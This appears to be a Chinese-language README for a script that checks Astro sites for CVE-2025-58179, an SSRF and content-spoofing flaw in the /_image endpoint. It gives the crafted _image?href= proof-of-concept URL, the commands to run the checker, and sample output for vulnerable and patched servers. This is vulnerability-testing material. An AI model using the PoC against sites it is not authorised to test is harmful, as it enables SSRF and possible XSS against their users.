CVE-2025-58179-Check 是一个简单的 Python 脚本,用于验证 Astro 框架中 /_image 端点上的 SSRF(服务器端请求伪造)/ Content Spoofing(内容欺骗)漏洞。
该漏洞被跟踪为 GHSA-qpr4-c339-7vq8 和 CVE-2025-58179。
该漏洞影响使用 @astrojs/cloudflare 适配器并配置了 output: 'server' 的 Astro 站点。本应优化图片的 /_image 端点未能正确验证 href 参数。
这允许攻击者诱使服务器获取并提供来自任意未授权外部域的内容。其影响可能是 SSRF;如果外部内容是恶意文件(例如包含脚本的 SVG),则可能导致跨站脚本(XSS)。
此脚本可自动化测试流程,以检查站点是否容易受到此问题的影响。
Status 200 且 Content-Type: image/*)。requests 库(仅在需要使用验证功能时)您可以使用 pip 安装 requests:
pip install requests
CVE-2025-58179-Check.py 脚本。chmod +x CVE-2025-58179-Check.py此选项仅打印已编码的 PoC URL。如果您想在浏览器或其他工具中手动测试,这会很有用。
命令:
python CVE-2025-58179-Check.py -u <URL_TARGET> -i <URL_GAMBAR_EKSTERNAL>
示例:
python CVE-2025-58179-Check.py -u [https://target-astro-site.com](https://target-astro-site.com) -i [https://example.com/image.jpg](https://example.com/image.jpg)
输出:
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
此选项会生成 URL,并立即发送 HTTP GET 请求以验证服务器响应。
命令:
python CVE-2025-58179-Check.py -u <URL_TARGET> -i <URL_GAMBAR_EKSTERNAL> -r
示例:
python CVE-2025-58179-Check.py -u [https://target-astro-site.com](https://target-astro-site.com) -i [https://example.com/image.jpg](https://example.com/image.jpg) --request
如果服务器返回状态码 200 且内容类型为图片,则表明服务器已获取并提供外部内容。
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
[+] Sending HTTP request...
[+] Status Code: 200
[+] Content Type: image/jpeg
[+] Server returned image content - Potential vulnerability detected!
已修补或配置正确的服务器会拒绝指向未经授权外部域的请求,通常返回 4xx 状态码。
[+] Generated URL:
[https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg](https://target-astro-site.com/_image?href=https%3A%2F%2Fexample.com%2Fimage.jpg)
[+] Sending HTTP request...
[+] Status Code: 400
[+] Content Type: text/plain;charset=UTF-8
[+] Client error - Resource might not be accessible
[!WARNING] 警告
- 此脚本仅用于教育和合法的安全测试目的。
- 用户应对其行为承担全部责任。请勿在未经授权的系统上使用此脚本。